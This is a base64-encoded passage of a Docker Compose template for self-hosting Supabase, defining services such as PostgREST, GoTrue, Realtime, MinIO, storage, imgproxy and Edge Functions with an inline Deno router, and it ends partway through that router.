FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtICdHT1RSVUVfVVJJX0FMTE9XX0xJU1Q9JHtBRERJVElPTkFMX1JFRElSRUNUX1VSTFN9JwogICAgICAtICdHT1RSVUVfRElTQUJMRV9TSUdOVVA9JHtESVNBQkxFX1NJR05VUDotZmFsc2V9JwogICAgICAtIEdPVFJVRV9KV1RfQURNSU5fUk9MRVM9c2VydmljZV9yb2xlCiAgICAgIC0gR09UUlVFX0pXVF9BVUQ9YXV0aGVudGljYXRlZAogICAgICAtIEdPVFJVRV9KV1RfREVGQVVMVF9HUk9VUF9OQU1FPWF1dGhlbnRpY2F0ZWQKICAgICAgLSAnR09UUlVFX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgICAgLSAnR09UUlVFX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9FTUFJTF9FTkFCTEVEPSR7RU5BQkxFX0VNQUlMX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0dPVFJVRV9FWFRFUk5BTF9BTk9OWU1PVVNfVVNFUlNfRU5BQkxFRD0ke0VOQUJMRV9BTk9OWU1PVVNfVVNFUlM6LWZhbHNlfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9BVVRPQ09ORklSTT0ke0VOQUJMRV9FTUFJTF9BVVRPQ09ORklSTTotZmFsc2V9JwogICAgICAtICdHT1RSVUVfU01UUF9BRE1JTl9FTUFJTD0ke1NNVFBfQURNSU5fRU1BSUx9JwogICAgICAtICdHT1RSVUVfU01UUF9IT1NUPSR7U01UUF9IT1NUfScKICAgICAgLSAnR09UUlVFX1NNVFBfUE9SVD0ke1NNVFBfUE9SVDotNTg3fScKICAgICAgLSAnR09UUlVFX1NNVFBfVVNFUj0ke1NNVFBfVVNFUn0nCiAgICAgIC0gJ0dPVFJVRV9TTVRQX1BBU1M9JHtTTVRQX1BBU1N9JwogICAgICAtICdHT1RSVUVfU01UUF9TRU5ERVJfTkFNRT0ke1NNVFBfU0VOREVSX05BTUV9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1VSTFBBVEhTX0lOVklURT0ke01BSUxFUl9VUkxQQVRIU19JTlZJVEU6LS9hdXRoL3YxL3ZlcmlmeX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVVJMUEFUSFNfQ09ORklSTUFUSU9OPSR7TUFJTEVSX1VSTFBBVEhTX0NPTkZJUk1BVElPTjotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWT0ke01BSUxFUl9VUkxQQVRIU19SRUNPVkVSWTotL2F1dGgvdjEvdmVyaWZ5fScKICAgICAgLSAnR09UUlVFX01BSUxFUl9VUkxQQVRIU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfVVJMUEFUSFNfRU1BSUxfQ0hBTkdFOi0vYXV0aC92MS92ZXJpZnl9JwogICAgICAtICdHT1RSVUVfTUFJTEVSX1RFTVBMQVRFU19JTlZJVEU9JHtNQUlMRVJfVEVNUExBVEVTX0lOVklURX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0NPTkZJUk1BVElPTj0ke01BSUxFUl9URU1QTEFURVNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfUkVDT1ZFUlk9JHtNQUlMRVJfVEVNUExBVEVTX1JFQ09WRVJZfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOSz0ke01BSUxFUl9URU1QTEFURVNfTUFHSUNfTElOS30nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfVEVNUExBVEVTX0VNQUlMX0NIQU5HRT0ke01BSUxFUl9URU1QTEFURVNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19DT05GSVJNQVRJT049JHtNQUlMRVJfU1VCSkVDVFNfQ09ORklSTUFUSU9OfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWT0ke01BSUxFUl9TVUJKRUNUU19SRUNPVkVSWX0nCiAgICAgIC0gJ0dPVFJVRV9NQUlMRVJfU1VCSkVDVFNfTUFHSUNfTElOSz0ke01BSUxFUl9TVUJKRUNUU19NQUdJQ19MSU5LfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19FTUFJTF9DSEFOR0U9JHtNQUlMRVJfU1VCSkVDVFNfRU1BSUxfQ0hBTkdFfScKICAgICAgLSAnR09UUlVFX01BSUxFUl9TVUJKRUNUU19JTlZJVEU9JHtNQUlMRVJfU1VCSkVDVFNfSU5WSVRFfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX1BIT05FX0VOQUJMRUQ9JHtFTkFCTEVfUEhPTkVfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX1NNU19BVVRPQ09ORklSTT0ke0VOQUJMRV9QSE9ORV9BVVRPQ09ORklSTTotdHJ1ZX0nCiAgcmVhbHRpbWUtZGV2OgogICAgaW1hZ2U6ICdzdXBhYmFzZS9yZWFsdGltZTp2Mi4zNC40NycKICAgIGNvbnRhaW5lcl9uYW1lOiByZWFsdGltZS1kZXYuc3VwYWJhc2UtcmVhbHRpbWUKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctc1NmTCcKICAgICAgICAtICctLWhlYWQnCiAgICAgICAgLSAnLW8nCiAgICAgICAgLSAvZGV2L251bGwKICAgICAgICAtICctSCcKICAgICAgICAtICdBdXRob3JpemF0aW9uOiBCZWFyZXIgJHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NDAwMC9hcGkvdGVuYW50cy9yZWFsdGltZS1kZXYvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9SVD00MDAwCiAgICAgIC0gJ0RCX0hPU1Q9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gREJfVVNFUj1zdXBhYmFzZV9hZG1pbgogICAgICAtICdEQl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdEQl9OQU1FPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnREJfQUZURVJfQ09OTkVDVF9RVUVSWT1TRVQgc2VhcmNoX3BhdGggVE8gX3JlYWx0aW1lJwogICAgICAtIERCX0VOQ19LRVk9c3VwYWJhc2VyZWFsdGltZQogICAgICAtICdBUElfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSBGTFlfQUxMT0NfSUQ9Zmx5MTIzCiAgICAgIC0gRkxZX0FQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gJ1NFQ1JFVF9LRVlfQkFTRT0ke1NFQ1JFVF9QQVNTV09SRF9SRUFMVElNRX0nCiAgICAgIC0gJ0VSTF9BRkxBR1M9LXByb3RvX2Rpc3QgaW5ldF90Y3AnCiAgICAgIC0gRU5BQkxFX1RBSUxTQ0FMRT1mYWxzZQogICAgICAtICJETlNfTk9ERVM9JyciCiAgICAgIC0gUkxJTUlUX05PRklMRT0xMDAwMAogICAgICAtIEFQUF9OQU1FPXJlYWx0aW1lCiAgICAgIC0gU0VFRF9TRUxGX0hPU1Q9dHJ1ZQogICAgICAtIExPR19MRVZFTD1lcnJvcgogICAgICAtIFJVTl9KQU5JVE9SPXRydWUKICAgICAgLSBKQU5JVE9SX0lOVEVSVkFMPTYwMDAwCiAgICBjb21tYW5kOiAic2ggLWMgXCIvYXBwL2Jpbi9taWdyYXRlICYmIC9hcHAvYmluL3JlYWx0aW1lIGV2YWwgJ1JlYWx0aW1lLlJlbGVhc2Uuc2VlZHMoUmVhbHRpbWUuUmVwbyknICYmIC9hcHAvYmluL3NlcnZlclwiXG4iCiAgc3VwYWJhc2UtbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGNvbW1hbmQ6ICdzZXJ2ZXIgLS1jb25zb2xlLWFkZHJlc3MgIjo5MDAxIiAvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIHZvbHVtZXM6CiAgICAgIC0gJy4vdm9sdW1lcy9zdG9yYWdlOi9kYXRhJwogIG1pbmlvLWNyZWF0ZWJ1Y2tldDoKICAgIGltYWdlOiBtaW5pby9tYwogICAgcmVzdGFydDogJ25vJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ01JTklPX1JPT1RfVVNFUj0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ01JTklPX1JPT1RfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX01JTklPfScKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLW1pbmlvOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIC9lbnRyeXBvaW50LnNoCiAgICB2b2x1bWVzOgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9lbnRyeXBvaW50LnNoCiAgICAgICAgdGFyZ2V0OiAvZW50cnlwb2ludC5zaAogICAgICAgIGNvbnRlbnQ6ICIjIS9iaW4vc2hcbi91c3IvYmluL21jIGFsaWFzIHNldCBzdXBhYmFzZS1taW5pbyBodHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCAke01JTklPX1JPT1RfVVNFUn0gJHtNSU5JT19ST09UX1BBU1NXT1JEfTtcbi91c3IvYmluL21jIG1iIC0taWdub3JlLWV4aXN0aW5nIHN1cGFiYXNlLW1pbmlvL3N0dWI7XG5leGl0IDBcbiIKICBzdXBhYmFzZS1zdG9yYWdlOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9zdG9yYWdlLWFwaTp2MS4xNC42JwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtcmVzdDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgICBpbWdwcm94eToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2Vfc3RhcnRlZAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMC9zdGF0dXMnCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIGludGVydmFsOiA1cwogICAgICByZXRyaWVzOiAzCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWRVJfUE9SVD01MDAwCiAgICAgIC0gU0VSVkVSX1JFR0lPTj1sb2NhbAogICAgICAtIE1VTFRJX1RFTkFOVD1mYWxzZQogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX3N0b3JhZ2VfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gREJfSU5TVEFMTF9ST0xFUz1mYWxzZQogICAgICAtIFNUT1JBR0VfQkFDS0VORD1zMwogICAgICAtIFNUT1JBR0VfUzNfQlVDS0VUPXN0dWIKICAgICAgLSAnU1RPUkFHRV9TM19FTkRQT0lOVD1odHRwOi8vc3VwYWJhc2UtbWluaW86OTAwMCcKICAgICAgLSBTVE9SQUdFX1MzX0ZPUkNFX1BBVEhfU1RZTEU9dHJ1ZQogICAgICAtIFNUT1JBR0VfUzNfUkVHSU9OPXVzLWVhc3QtMQogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9NSU5JT30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTUlOSU99JwogICAgICAtIFVQTE9BRF9GSUxFX1NJWkVfTElNSVQ9NTI0Mjg4MDAwCiAgICAgIC0gVVBMT0FEX0ZJTEVfU0laRV9MSU1JVF9TVEFOREFSRD01MjQyODgwMDAKICAgICAgLSBVUExPQURfU0lHTkVEX1VSTF9FWFBJUkFUSU9OX1RJTUU9MTIwCiAgICAgIC0gVFVTX1VSTF9QQVRIPXVwbG9hZC9yZXN1bWFibGUKICAgICAgLSBUVVNfTUFYX1NJWkU9MzYwMDAwMAogICAgICAtIEVOQUJMRV9JTUFHRV9UUkFOU0ZPUk1BVElPTj10cnVlCiAgICAgIC0gJ0lNR1BST1hZX1VSTD1odHRwOi8vaW1ncHJveHk6ODA4MCcKICAgICAgLSBJTUdQUk9YWV9SRVFVRVNUX1RJTUVPVVQ9MTUKICAgICAgLSBEQVRBQkFTRV9TRUFSQ0hfUEFUSD1zdG9yYWdlCiAgICAgIC0gTk9ERV9FTlY9cHJvZHVjdGlvbgogICAgICAtIFJFUVVFU1RfQUxMT1dfWF9GT1JXQVJERURfUEFUSD10cnVlCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIGltZ3Byb3h5OgogICAgaW1hZ2U6ICdkYXJ0aHNpbS9pbWdwcm94eTp2My44LjAnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gaW1ncHJveHkKICAgICAgICAtIGhlYWx0aAogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSU1HUFJPWFlfTE9DQUxfRklMRVNZU1RFTV9ST09UPS8KICAgICAgLSBJTUdQUk9YWV9VU0VfRVRBRz10cnVlCiAgICAgIC0gJ0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTj0ke0lNR1BST1hZX0VOQUJMRV9XRUJQX0RFVEVDVElPTjotdHJ1ZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvc3RvcmFnZTovdmFyL2xpYi9zdG9yYWdlJwogIHN1cGFiYXNlLW1ldGE6CiAgICBpbWFnZTogJ3N1cGFiYXNlL3Bvc3RncmVzLW1ldGE6djAuODkuMycKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUEdfTUVUQV9QT1JUPTgwODAKICAgICAgLSAnUEdfTUVUQV9EQl9IT1NUPSR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifScKICAgICAgLSAnUEdfTUVUQV9EQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BHX01FVEFfREJfTkFNRT0ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gUEdfTUVUQV9EQl9VU0VSPXN1cGFiYXNlX2FkbWluCiAgICAgIC0gJ1BHX01FVEFfREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICBzdXBhYmFzZS1lZGdlLWZ1bmN0aW9uczoKICAgIGltYWdlOiAnc3VwYWJhc2UvZWRnZS1ydW50aW1lOnYxLjY3LjQnCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnRWRnZSBGdW5jdGlvbnMgaXMgaGVhbHRoeScKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdTVVBBQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fU1VQQUJBU0VLT05HfScKICAgICAgLSAnU1VQQUJBU0VfQU5PTl9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFQU5PTl9LRVl9JwogICAgICAtICdTVVBBQkFTRV9TRVJWSUNFX1JPTEVfS0VZPSR7U0VSVklDRV9TVVBBQkFTRVNFUlZJQ0VfS0VZfScKICAgICAgLSAnU1VQQUJBU0VfREJfVVJMPXBvc3RncmVzcWw6Ly9wb3N0Z3Jlczoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnVkVSSUZZX0pXVD0ke0ZVTkNUSU9OU19WRVJJRllfSldUOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICcuL3ZvbHVtZXMvZnVuY3Rpb25zOi9ob21lL2Rlbm8vZnVuY3Rpb25zJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgdGFyZ2V0OiAvaG9tZS9kZW5vL2Z1bmN0aW9ucy9tYWluL2luZGV4LnRzCiAgICAgICAgY29udGVudDogImltcG9ydCB7IHNlcnZlIH0gZnJvbSAnaHR0cHM6Ly9kZW5vLmxhbmQvc3RkQDAuMTMxLjAvaHR0cC9zZXJ2ZXIudHMnXG5pbXBvcnQgKiBhcyBqb3NlIGZyb20gJ2h0dHBzOi8vZGVuby5sYW5kL3gvam9zZUB2NC4xNC40L2luZGV4LnRzJ1xuXG5jb25zb2xlLmxvZygnbWFpbiBmdW5jdGlvbiBzdGFydGVkJylcblxuY29uc3QgSldUX1NFQ1JFVCA9IERlbm8uZW52LmdldCgnSldUX1NFQ1JFVCcpXG5jb25zdCBWRVJJRllfSldUID0gRGVuby5lbnYuZ2V0KCdWRVJJRllfSldUJykgPT09ICd0cnVlJ1xuXG5mdW5jdGlvbiBnZXRBdXRoVG9rZW4ocmVxOiBSZXF1ZXN0KSB7XG4gIGNvbnN0IGF1dGhIZWFkZXIgPSByZXEuaGVhZGVycy5nZXQoJ2F1dGhvcml6YXRpb24nKVxuICBpZiAoIWF1dGhIZWFkZXIpIHtcbiAgICB0aHJvdyBuZXcgRXJyb3IoJ01pc3NpbmcgYXV0aG9yaXphdGlvbiBoZWFkZXInKVxuICB9XG4gIGNvbnN0IFtiZWFyZXIsIHRva2VuXSA9IGF1dGhIZWFkZXIuc3BsaXQoJyAnKVxuICBpZiAoYmVhcmVyICE9PSAnQmVhcmVyJykge1xuICAgIHRocm93IG5ldyBFcnJvcihgQXV0aCBoZWFkZXIgaXMgbm90ICdCZWFyZXIge3Rva2VufSdgKVxuICB9XG4gIHJldHVybiB0b2tlblxufVxuXG5hc3luYyBmdW5jdGlvbiB2ZXJpZnlKV1Qoand0OiBzdHJpbmcpOiBQcm9taXNlPGJvb2xlYW4+IHtcbiAgY29uc3QgZW5jb2RlciA9IG5ldyBUZXh0RW5jb2RlcigpXG4gIGNvbnN0IHNlY3JldEtleSA9IGVuY29kZXIuZW5jb2RlKEpXVF9TRUNSRVQpXG4gIHRyeSB7XG4gICAgYXdhaXQgam9zZS5qd3RWZXJpZnkoand0LCBzZWNyZXRLZXkpXG4gIH0gY2F0Y2ggKGVycikge1xuICAgIGNvbnNvbGUuZXJyb3IoZXJyKVxuICAgIHJldHVybiBmYWxzZVxuICB9XG4gIHJldHVybiB0cnVlXG59XG5cbnNlcnZlKGFzeW5jIChyZXE6IFJlcXVlc3QpID0+IHtcbiAgaWYgKHJlcS5tZXRob2QgIT09ICdPUFRJT05TJyAmJiBWRVJJRllfSldUKSB7XG4gICAgdHJ5IHtcbiAgICAgIGNvbnN0IHRva2VuID0gZ2V0QXV0aFRva2VuKHJlcSlcbiAgICAgIGNvbnN0IGlzVmFsaWRKV1QgPSBhd2FpdCB2ZXJpZnlKV1QodG9rZW4pXG5cbiAgICAgIGlmICghaXNWYWxpZEpXVCkge1xuICAgICAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KHsgbXNnOiAnSW52YWxpZCBKV1QnIH0pLCB7XG4gICAgICAgICAgc3RhdHVzOiA0MDEsXG4gICAgICAgICAgaGVhZGVyczogeyAnQ29udGVudC1UeXBlJzogJ2FwcGxpY2F0aW9uL2pzb24nIH0sXG4gICAgICAgIH0pXG4gICAgICB9XG4gICAgfSBjYXRjaCAoZSkge1xuICAgICAgY29uc29sZS5lcnJvcihlKVxuICAgICAgcmV0dXJuIG5ldyBSZXNwb25zZShKU09OLnN0cmluZ2lmeSh7IG1zZzogZS50b1N0cmluZygpIH0pLCB7XG4gICAgICAgIHN0YXR1czogNDAxLFxuICAgICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICAgIH0pXG4gICAgfVxuICB9XG5cbiAgY29uc3QgdXJsID0gbmV3IFVSTChyZXEudXJsKVxuICBjb25zdCB7IHBhdGhuYW1lIH0gPSB1cmxcbiAgY29uc3QgcGF0aF9wYXJ0cyA9IHBhdGhuYW1lLnNwbGl0KCcvJylcbiAgY29uc3Qgc2VydmljZV9uYW1lID0gcGF0aF9wYXJ0c1sxXVxuXG4gIGlmICghc2VydmljZV9uYW1lIHx8IHNlcnZpY2VfbmFtZSA9PT0gJycpIHtcbiAgICBjb25zdCBlcnJvciA9IHsgbXNnOiAnbWlzc2luZyBmdW5jdGlvbiBuYW1lIGluIHJlcXVlc3QnIH1cbiAgICByZXR1cm4gbmV3IFJlc3BvbnNlKEpTT04uc3RyaW5naWZ5KGVycm9yKSwge1xuICAgICAgc3RhdHVzOiA0MDAsXG4gICAgICBoZWFkZXJzOiB7ICdDb250ZW50LVR5cGUnOiAnYXBwbGljYXRpb24vanNvbicgfSxcbiAgICB9KVxuICB9XG5cbiAgY29uc3Qgc2VydmljZVBhdGggPSBgL2hvbWUvZGVuby9mdW5jdGlvbnMvJHtzZXJ2aWNlX25hbWV9YFxuICBjb25zb2xlLmVycm9yKGBzZXJ2aW5nIHRoZSByZXF1ZXN0IHdpdGggJHtzZXJ2aWNlUGF0aH1gKVxuXG4gIGNvbnN0IG1lbW9yeUxpbWl0TWIgPSAxNTBcbiAgY29uc3Qgd29ya2VyVGltZW91dE1zID0gMSAqIDYwICogMTAwMFxuICBjb25zdCBub01vZHVsZUNhY2hlID0gZmFsc2VcbiAgY29uc3QgaW1wb3J0TWFwUGF0aCA9IG51bGxcbiAgY29uc